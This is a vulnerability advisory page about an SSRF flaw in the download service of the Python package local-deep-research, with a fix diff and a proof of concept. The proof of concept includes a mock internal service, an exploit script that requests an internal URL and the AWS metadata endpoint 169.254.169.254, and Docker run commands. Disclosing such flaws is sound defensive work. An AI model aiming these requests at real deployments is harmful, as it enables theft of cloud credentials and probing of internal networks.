Mittel

Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service

  • Veröffentlicht: 23.12.2025
  • Aktualisiert: 11.10.2026 13:19

Summary

The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.

CWE: CWE-918 (Server-Side Request Forgery)


Details

Vulnerable Code Location

File: src/local_deep_research/research_library/services/download_service.py

The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:

  • Loopback addresses (127.0.0.0/8)
  • Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • AWS metadata endpoint (169.254.169.254)
  • Link-local addresses

However, download_service.py bypasses this protection by using raw requests.get() directly:

python
# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)

# Line 1075
response = requests.get(api_url, timeout=10)

# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)

# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)

# Line 1207
summary_response = requests.get(esummary_url, ...)

# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1276
response = requests.get(url, headers=headers, timeout=10)

# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)

Attack Vector

  1. Attacker submits a malicious URL via POST /api/resources/<research_id>
  2. URL is stored in database without SSRF validation (resource_service.py:add_resource())
  3. Download is triggered via /library/api/download/<resource_id>
  4. download_service.py fetches the URL using raw requests.get(), bypassing SSRF protection

PoC

Prerequisites

  • Docker and Docker Compose installed
  • Python 3.11+

Step 1: Create the Mock Internal Service

File: internal_service.py

python
#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class InternalServiceHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        print(f"[INTERNAL SERVICE] {args[0]}")
    
    def do_GET(self):
        print(f"\n{'='*60}")
        print(f"[!] SSRF DETECTED - Internal service accessed!")
        print(f"[!] Path: {self.path}")
        print(f"{'='*60}\n")
        
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        
        secret_data = {
            "status": "SSRF_SUCCESSFUL",
            "message": "You have accessed internal service via SSRF!",
            "internal_secrets": {
                "database_password": "super_secret_db_pass_123",
                "api_key": "sk-internal-api-key-xxxxx",
                "admin_token": "admin_bearer_token_yyyyy"
            }
        }
        self.wfile.write(json.dumps(secret_data, indent=2).encode())

if __name__ == "__main__":
    print("[*] Starting mock internal service on port 8080")
    server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
    server.serve_forever()

Step 2: Create the Exploit Script

File: exploit.py

python
#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""

import sys
import requests

sys.path.insert(0, '/app/src')

def main():
    print("=" * 70)
    print("SSRF Vulnerability PoC - Active Exploitation")
    print("=" * 70)
    
    internal_url = "http://ssrf-internal-service:8080/secret-data"
    aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
    headers = {"User-Agent": "Mozilla/5.0"}
    
    # EXPLOIT 1: Access internal service
    print("\n[EXPLOIT 1] Accessing internal service via SSRF")
    print(f"    Target: {internal_url}")
    
    try:
        # Same pattern as download_service.py line 1038
        response = requests.get(internal_url, headers=headers, timeout=30)
        print(f"    [!] SSRF SUCCESSFUL! Status: {response.status_code}")
        print(f"    [!] Retrieved secrets:")
        for line in response.text.split('\n')[:15]:
            print(f"        {line}")
    except Exception as e:
        print(f"    [-] Failed: {e}")
        return 1
    
    # EXPLOIT 2: AWS metadata bypass
    print("\n[EXPLOIT 2] AWS Metadata endpoint bypass")
    from local_deep_research.security.ssrf_validator import validate_url
    print(f"    SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}")
    print(f"    But download_service.py BYPASSES the validator!")
    
    try:
        requests.get(aws_metadata_url, timeout=5)
    except requests.exceptions.ConnectionError:
        print(f"    Request sent without SSRF validation!")
    
    print("\n" + "=" * 70)
    print("SSRF VULNERABILITY CONFIRMED")
    print("=" * 70)
    return 0

if __name__ == "__main__":
    sys.exit(main())

Step 3: Run the PoC

bash
# Build and run with Docker
docker network create ssrf-poc-net
docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py"
docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py

Expected Output

======================================================================
SSRF Vulnerability PoC - Active Exploitation
======================================================================

[EXPLOIT 1] Accessing internal service via SSRF
    Target: http://ssrf-internal-service:8080/secret-data
    [!] SSRF SUCCESSFUL! Status: 200
    [!] Retrieved secrets:
        {
          "status": "SSRF_SUCCESSFUL",
          "message": "You have accessed internal service via SSRF!",
          "internal_secrets": {
            "database_password": "super_secret_db_pass_123",
            "api_key": "sk-internal-api-key-xxxxx",
            "admin_token": "admin_bearer_token_yyyyy"
          }
        }

[EXPLOIT 2] AWS Metadata endpoint bypass
    SSRF validator: BLOCKED
    But download_service.py BYPASSES the validator!
    Request sent without SSRF validation!

======================================================================
SSRF VULNERABILITY CONFIRMED
======================================================================

Impact

Who is affected?

All users running local-deep-research in:

  • Cloud environments (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints
  • Corporate networks - attackers can access internal services and databases
  • Any deployment - attackers can scan internal networks

What can an attacker do?

Attack Impact
Access cloud metadata Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations
Internal service access Read sensitive data from databases, Redis, admin panels
Network reconnaissance Map internal network topology and services
Bypass firewalls Access services not exposed to the internet

Recommended Fix

Replace all requests.get() calls in download_service.py with safe_get() from security/safe_requests.py:

diff
# download_service.py

+ from ...security.safe_requests import safe_get

  def _download_generic(self, url, ...):
-     response = requests.get(url, headers=headers, timeout=30)
+     response = safe_get(url, headers=headers, timeout=30)

The safe_get() function already validates URLs against SSRF attacks before making requests.

Files to update:

  • src/local_deep_research/research_library/services/download_service.py (9 occurrences)
  • src/local_deep_research/research_library/downloaders/base.py (uses requests.Session)

References


Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) local-deep-research >= 1.3.0, < 1.3.9 1.3.9

Verweise

CVSS-Wert 6.3/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Schwäche (CWE)
CWE-918
Plattform
Python (PyPI)
Paket
local-deep-research
Veröffentlicht
23.12.2025
Aktualisiert
11.10.2026 13:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-1581 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9c54-gxh7-ppjc - CC BY 4.0

Schwachstellenhistorie: local-deep-research

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
3
Erste → letzte
12.2025 05.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Mittel 3

Veröffentlichungen pro Jahr

  1. 2025: 1
  2. 2026: 2
  1. Mittel · 5.0 CVE-2026-46526 < 1.6.10 1.6.10
  2. Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service dieser Eintrag
    Mittel · 6.3 CVE-2025-67743 >= 1.3.0, < 1.3.9 1.3.9

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